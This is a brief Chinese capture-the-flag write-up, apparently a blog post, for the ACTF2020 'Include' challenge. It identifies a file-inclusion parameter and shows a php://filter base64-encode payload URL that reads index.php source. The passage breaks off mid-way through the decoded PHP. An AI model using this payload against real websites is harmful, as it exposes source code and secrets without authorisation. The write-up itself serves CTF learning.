[ACTF2020 新生赛]Include
![在这里插入图片描述](https://i-blog.csdnimg.cn/blog_migrate/f6fa7bda7dd20a54c1170875354469eb.png)
有一个tips标签,指向的是?file=flag.php
![在这里插入图片描述](https://i-blog.csdnimg.cn/blog_migrate/e35f8dd79b7f93ea0155a6ccb6b7315e.png)
看到?file,应该首先想到的是文件包含
先读取源码,构造payload
http://8cf4eecb-8bfa-4e2b-8616-b609fa0e7d3f.node3.buuoj.cn/?file=php://filter/convert.base64-encode/resource=index.php
发现了一串base64,解码得到
<meta charset="utf8">
<?php
error_reporting(